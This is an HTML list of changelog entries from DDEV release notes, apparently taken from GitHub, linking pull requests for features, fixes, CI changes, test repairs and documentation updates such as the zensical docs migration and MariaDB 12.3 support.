<li>feat(utility): add <code>ddev utility addon-update-checker</code> command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363864217" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8373" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8373/hovercard" href="https://github.com/ddev/ddev/pull/8373">#8373</a></li>
<li>fix(add-ons): autocomplete for path by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365566102" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8376" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8376/hovercard" href="https://github.com/ddev/ddev/pull/8376">#8376</a></li>
<li>test(wsl2): fix TestHostDBPort by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400300129" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8391" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8391/hovercard" href="https://github.com/ddev/ddev/pull/8391">#8391</a></li>
<li>test(windows): fix TestUtilityAddonUpdateCheckerCmd, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363864217" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8373" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8373/hovercard" href="https://github.com/ddev/ddev/pull/8373">#8373</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408413794" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8394" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8394/hovercard" href="https://github.com/ddev/ddev/pull/8394">#8394</a></li>
<li>docs(quickstart): Add description to Drupal Git clone example by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitressa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitressa">@gitressa</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408464620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8395" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8395/hovercard" href="https://github.com/ddev/ddev/pull/8395">#8395</a></li>
<li>fix(ddev-webserver): <code>ddev stop</code> takes 10s due to bash deferring SIGTERM during foreground cat, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218384497" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8295" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8295/hovercard" href="https://github.com/ddev/ddev/issues/8295">#8295</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408650681" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8396" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8396/hovercard" href="https://github.com/ddev/ddev/pull/8396">#8396</a></li>
<li>docs: unify homeadditions path resolution and Composer auth.json handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eiriksm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eiriksm">@eiriksm</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4420266904" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8400" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8400/hovercard" href="https://github.com/ddev/ddev/pull/8400">#8400</a></li>
<li>docs(providers): align --environment examples and flags, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4428749367" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8402" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8402/hovercard" href="https://github.com/ddev/ddev/issues/8402">#8402</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4428795862" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8403" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8403/hovercard" href="https://github.com/ddev/ddev/pull/8403">#8403</a></li>
<li>test(share): improve cloudflared debug output on unmarshal errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415837658" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8398" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8398/hovercard" href="https://github.com/ddev/ddev/pull/8398">#8398</a></li>
<li>ci(github): reorganize test jobs, add custom workflow_dispatch, remove unused workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423464019" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8401" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8401/hovercard" href="https://github.com/ddev/ddev/pull/8401">#8401</a></li>
<li>feat(add-on): add <code>#ddev-interactive</code> option for actions, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3958400616" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8155" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8155/hovercard" href="https://github.com/ddev/ddev/issues/8155">#8155</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367267290" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8381" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8381/hovercard" href="https://github.com/ddev/ddev/pull/8381">#8381</a></li>
<li>refactor(tui): upgrade bubbletea/bubbles/lipgloss to v2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430728699" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8404" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8404/hovercard" href="https://github.com/ddev/ddev/pull/8404">#8404</a></li>
<li>ci: add DDEV_EMBARGO_PHP_VERSIONS to skip specific PHP versions in TestPHPConfig [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432602123" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8407" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8407/hovercard" href="https://github.com/ddev/ddev/pull/8407">#8407</a></li>
<li>feat: use docker-compose library, optionally download docker-buildx, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3686218597" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7915" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7915/hovercard" href="https://github.com/ddev/ddev/issues/7915">#7915</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218384497" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8295" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8295/hovercard" href="https://github.com/ddev/ddev/issues/8295">#8295</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091341649" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8234" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8234/hovercard" href="https://github.com/ddev/ddev/pull/8234">#8234</a></li>
<li>ci(docs): add stable docs branch workflow, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626446323" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7862" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7862/hovercard" href="https://github.com/ddev/ddev/issues/7862">#7862</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4436512981" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8408" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8408/hovercard" href="https://github.com/ddev/ddev/pull/8408">#8408</a></li>
<li>ci(forks): fetch variables from public-variables branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439217094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8410" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8410/hovercard" href="https://github.com/ddev/ddev/pull/8410">#8410</a></li>
<li>ci(wsl2): read public-variables in pwsh, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439217094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8410" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8410/hovercard" href="https://github.com/ddev/ddev/pull/8410">#8410</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439903018" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8411" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8411/hovercard" href="https://github.com/ddev/ddev/pull/8411">#8411</a></li>
<li>ci: improve test embargo system for Go, bats, and CI workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4445844483" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8413" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8413/hovercard" href="https://github.com/ddev/ddev/pull/8413">#8413</a></li>
<li>docs(config): improve wording for database and docker_buildx_version, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4382057472" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8387" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8387/hovercard" href="https://github.com/ddev/ddev/pull/8387">#8387</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4437190033" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8409" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8409/hovercard" href="https://github.com/ddev/ddev/pull/8409">#8409</a></li>
<li>refactor: improve CheckAvailableSpace reliability and output, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387455452" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8388" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8388/hovercard" href="https://github.com/ddev/ddev/issues/8388">#8388</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolcen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolcen">@wolcen</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441784873" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8412" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8412/hovercard" href="https://github.com/ddev/ddev/pull/8412">#8412</a></li>
<li>ci(buildkite): fix MSYS path conversion breaking public-variables fetch on Windows, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439217094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8410" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8410/hovercard" href="https://github.com/ddev/ddev/pull/8410">#8410</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469883387" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8416" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8416/hovercard" href="https://github.com/ddev/ddev/pull/8416">#8416</a></li>
<li>docs(brand-guide): add light, dark, and auto logo variants to logos table, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472217677" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8417" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8417/hovercard" href="https://github.com/ddev/ddev/issues/8417">#8417</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487849922" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8419" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8419/hovercard" href="https://github.com/ddev/ddev/pull/8419">#8419</a></li>
<li>feat(docs): migrate from mkdocs-material to zensical, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3613763641" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7840" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7840/hovercard" href="https://github.com/ddev/ddev/issues/7840">#7840</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4053894144" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8216" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8216/hovercard" href="https://github.com/ddev/ddev/issues/8216">#8216</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497071680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8421" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8421/hovercard" href="https://github.com/ddev/ddev/pull/8421">#8421</a></li>
<li>docs(add-ons): mention <code>#ddev-generated</code> in quickstart by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chx">@chx</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494536198" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8420" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8420/hovercard" href="https://github.com/ddev/ddev/pull/8420">#8420</a></li>
<li>ci(docs): enable zensical strict mode, use dynamic Pages base URL, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497071680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8421" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8421/hovercard" href="https://github.com/ddev/ddev/pull/8421">#8421</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501866656" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8423" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8423/hovercard" href="https://github.com/ddev/ddev/pull/8423">#8423</a></li>
<li>fix(ddev-dbserver): unlink stale socket before mysqld init by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502303473" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8424" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8424/hovercard" href="https://github.com/ddev/ddev/pull/8424">#8424</a></li>
<li>test: add details to TestCmdAddonPHP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504444004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8425" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8425/hovercard" href="https://github.com/ddev/ddev/pull/8425">#8425</a></li>
<li>chore(sponsors): update percentage and api link [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523958874" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8427" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8427/hovercard" href="https://github.com/ddev/ddev/pull/8427">#8427</a></li>
<li>ci(pr): migrate to ddev/commit-message-checker@v3 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525819574" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8428" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8428/hovercard" href="https://github.com/ddev/ddev/pull/8428">#8428</a></li>
<li>test(lima): fix broken cleanup in TestCmdAddonPHP, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504444004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8425" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8425/hovercard" href="https://github.com/ddev/ddev/pull/8425">#8425</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534532321" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8430" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8430/hovercard" href="https://github.com/ddev/ddev/pull/8430">#8430</a></li>
<li>fix: replace remaining world writeable directories, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4135827270" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8251" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8251/hovercard" href="https://github.com/ddev/ddev/issues/8251">#8251</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367047484" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8379" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8379/hovercard" href="https://github.com/ddev/ddev/pull/8379">#8379</a></li>
<li>chore(composer): add <code>COMPOSER_NO_BLOCKING</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4540301022" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8432" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8432/hovercard" href="https://github.com/ddev/ddev/pull/8432">#8432</a></li>
<li>fix(exec): allocate TTY only when stdout is also a terminal, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091341649" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8234" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8234/hovercard" href="https://github.com/ddev/ddev/pull/8234">#8234</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4540181746" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8431" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8431/hovercard" href="https://github.com/ddev/ddev/pull/8431">#8431</a></li>
<li>feat(docker-rootless): remove no-bind-mounts requirement, test gvisor-tap-vsock by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512197309" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8426" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8426/hovercard" href="https://github.com/ddev/ddev/pull/8426">#8426</a></li>
<li>build: pin Node.js to 24.15.0, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555564450" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8436" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8436/hovercard" href="https://github.com/ddev/ddev/issues/8436">#8436</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8438" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8438/hovercard" href="https://github.com/ddev/ddev/pull/8438">#8438</a></li>
<li>test(linux): wait for nc to bind before asserting in port-diagnose tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4577688152" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8446" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8446/hovercard" href="https://github.com/ddev/ddev/pull/8446">#8446</a></li>
<li>test: rework local HTTP test helpers with clearer failure output by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4581438165" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8447" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8447/hovercard" href="https://github.com/ddev/ddev/pull/8447">#8447</a></li>
<li>fix(nodejs): move install to Dockerfile, add ~/n/bin to PATH, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4447652737" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8414" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8414/hovercard" href="https://github.com/ddev/ddev/issues/8414">#8414</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4447694768" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8415" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8415/hovercard" href="https://github.com/ddev/ddev/issues/8415">#8415</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565282332" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8443" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8443/hovercard" href="https://github.com/ddev/ddev/pull/8443">#8443</a></li>
<li>fix(zensical): retry strict build on false-positive "page does not exist" warnings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597532685" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8451" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8451/hovercard" href="https://github.com/ddev/ddev/pull/8451">#8451</a></li>
<li>ci(linux): use full homebrew formulae name, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4589599706" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8450" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8450/hovercard" href="https://github.com/ddev/ddev/issues/8450">#8450</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4612159727" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8455" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8455/hovercard" href="https://github.com/ddev/ddev/pull/8455">#8455</a></li>
<li>test(quickstart): update asterios page check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4612039963" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8454" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8454/hovercard" href="https://github.com/ddev/ddev/pull/8454">#8454</a></li>
<li>feat: add MariaDB 12.3 LTS support, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604820646" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8452" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8452/hovercard" href="https://github.com/ddev/ddev/issues/8452">#8452</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4607401729" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8453" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8453/hovercard" href="https://github.com/ddev/ddev/pull/8453">#8453</a></li>
